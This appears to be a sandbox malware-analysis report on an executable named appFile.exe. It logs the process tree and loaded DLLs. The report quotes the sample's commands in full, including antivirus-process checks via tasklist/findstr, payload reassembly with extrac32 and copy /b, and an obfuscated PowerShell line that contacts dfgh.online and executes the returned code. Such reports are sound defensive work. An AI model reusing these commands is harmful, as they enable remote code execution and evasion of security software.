Source: appFile.exe	String found in binary or memory: ?0CMCNCOCRCUCVCWCXCYCZDEDJDKDMDODZECEEEGEHERESETFIFJFKFMFOFRGAGBGDGEGFGGGHGIGLGMGNGPGQGRGSGTGUGWGYHKHMHNHRHTHUIDIEILIMINIOIQIRISITJEJMJOJPKEKGKHKIKMKNKPKRKWKYKZLALBLCLILKLRLSLTLULVLYMAMCMDMEMFMGMHMKMLMMMNMOMPMQMRMSMTMUMVMWMXMYMZNANCNENFNGNINLNONPNRNUNZOMPAPEPFPGPHPKPLPMPNPRPSPTPWPYQARERORSRURWSASBSCSDSESGSHSISJSKSLSMSNSOSRSSSTSVSXSYSZTCTDTFTGTHTJTKTLTMTNTOTRTTTVTWTZUAUGUMUSUYUZVAVCVEVGVIVNVUWFWSYEYTZAZMZWANBUCSFXSUTPYDYUZRDDDYHVNHRHUKVDANDAREAFGATGAIAALBAGOATAARGASMAUTAUSABWALAAZEBIHBGDBFABGRBHRBDIBENBLMBMUBESBRABHSBVTBWABLRBLZCANCCKCODCAFCOGCIVCOKCHLCMRCHNCOLCRICUBCPVCUWCXRCZEDEUDJIDNKDMADOMDZAECUESTEGYESHERIETHFINFJIFLKFSMFROFRAGABGBRGEOGUFGGYGHAGIBGRLGMBGINGLPGNQGRCSGSGTMGUMGNBGUYHKGHMDHNDHRVHTIHUNIDNIRLISRIMNINDIOTIRQIRNISLITAJEYJAMJORJPNKENKGZKHMKIRCOMKNAPRKKORKWTCYMKAZLAOLBNLCALIELKALBRLSOLTULUXLVALBYMARMCOMDAMNEMDGMHLMLIMMRMNGMACMNPMTQMRTMSRMLTMUSMDVMWIMEXMYSMOZNAMNCLNERNFKNGANLDNORNPLNRUNIUNZLOMNPANPERPYFPNGPHLPAKPOLSPMPCNPRIPSEPRTPLWPRYQATREUROUSRBRUSRWASAUSLBSYCSDNSWESGPSHNSVNSJMSVKSLESMRSENSOMSSDSTPSLVSXMSYRSWZTCATCDATFTGOTHATJKTKLTLSTKMTUNTONTURTTOTUVTWNTZAUKRUGAUMIUSAURYUZBVATVCTVENVGBVIRVNMVUTWLFWSMYEMMYTZAFZMBZWEANTBURSCGFXXROMSUNTMPYMDYUGart_LOJBANhy__AREVELAhy__AREVMDAhywzh_GANzh_GUOYUzh_HAKKAzh_MIN_NANzh_WUUzh_XIANGzh_YUE@und_collation%+1.1fi-defaultZzzzZZlikelySubtagsrgZZZZroot-en-es-pt-zh-ja-ko-de-fr-it-ar+he+fa+ru-nl-pl-th-tr-InstalledLocalesres_indexart-lojbanen-gb-oeden-gb-oxendicti-amiamii-bnnbnni-haki-klingoni-luxi-navajoi-pwnpwni-taotaoi-taytayi-tsutsuno-bokno-nynsgn-be-frsfbsgn-be-nlvgtsgn-ch-desggzh-guoyucmnzh-hakkazh-min-nanzh-xiangcel-gaulishxtg-x-cel-gaulishi-defaulten-x-i-defaulti-enochianund-x-i-enochiani-mingosee-x-i-mingozh-minnan-x-zh-minsgn-brbzssgn-cocsnsgn-degsgsgn-dkdslsgn-essspsgn-frfslsgn-gbbfisgn-grgsssgn-ieisgsgn-itisesgn-jpjslsgn-mxmfssgn-nincssgn-nldsesgn-nonslsgn-ptpsrsgn-seswlsgn-ussgn-zasfszh-cmnzh-cmn-hanscmn-hanszh-cmn-hantcmn-hantzh-ganzh-wuuzh-yueja-latn-hepburn-heplocja-latn-alalc97--u;=undposixlvariantvaBUMMDDDEFXFRTPTLYDYEZRCDyesinidiwhejiyijwjvmoroaamaasadpdzauektzayxnunbgmbcgbjddrlccqrkicjrmomckacmrcmkxchcoypijcququhdrhkhkdrwprsgavdevgfxvajggngvrgtinycguvduzhrrjalibiopailwgaljegoybkgctdfkghkmlkojkwvkrmbmfktrdtpkvsgdjkwqyamkxetvdkzjdtpkztdtpliiraqlmmrmxmegcirmstmrymwjvajmytmrynadxnyncpkdznnxngvntspijounvajpcradxpmchuwpmuphrppabfypprlcqpryprtpuzpubscahleskkoybtdudtpthctpothxoybtierastkktwmtlwweotmptyjtnekakt
Source: appFile.exe	String found in binary or memory: F\SOFTWARE\Microsoft\Reliability Analysis\WMILogPathsBaseTimeSystemApplicationMicrosoft-Windows-AppHost/AdminApplication ErrorApplication HangMicrosoft-Windows-AppHostMicrosoft-Windows-DiskDiagnosticMicrosoft-Windows-WER-SystemErrorReportingEventLogMicrosoft-Windows-StartupRepairMicrosoft-Windows-WindowsUpdateC

Source: C:\Users\user\Desktop\appFile.exe

File read: C:\Users\user\Desktop\appFile.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\appFile.exe "C:\Users\user\Desktop\appFile.exe"
Source: C:\Users\user\Desktop\appFile.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Shore Shore.cmd & Shore.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 723356
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Guitar
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Principle" Portions
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Requirements + ..\Ul + ..\Pupils + ..\Vista + ..\Sound + ..\Shelf F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\723356\Ted.com Ted.com F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process created: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe "C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe"
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Process created: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp "C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp" /SL5="$4041A,11205210,845824,C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe"
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe "C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Process created: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp "C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp" /SL5="$5041A,11205210,845824,C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Source: C:\Users\user\Desktop\appFile.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Shore Shore.cmd & Shore.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 723356	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Guitar	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Principle" Portions	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Requirements + ..\Ul + ..\Pupils + ..\Vista + ..\Sound + ..\Shelf F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\723356\Ted.com Ted.com F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Process created: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe "C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Process created: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp "C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp" /SL5="$4041A,11205210,845824,C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe "C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Process created: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp "C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp" /SL5="$5041A,11205210,845824,C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\appFile.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\appFile.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: rasadhlp.dll	Jump to behavior
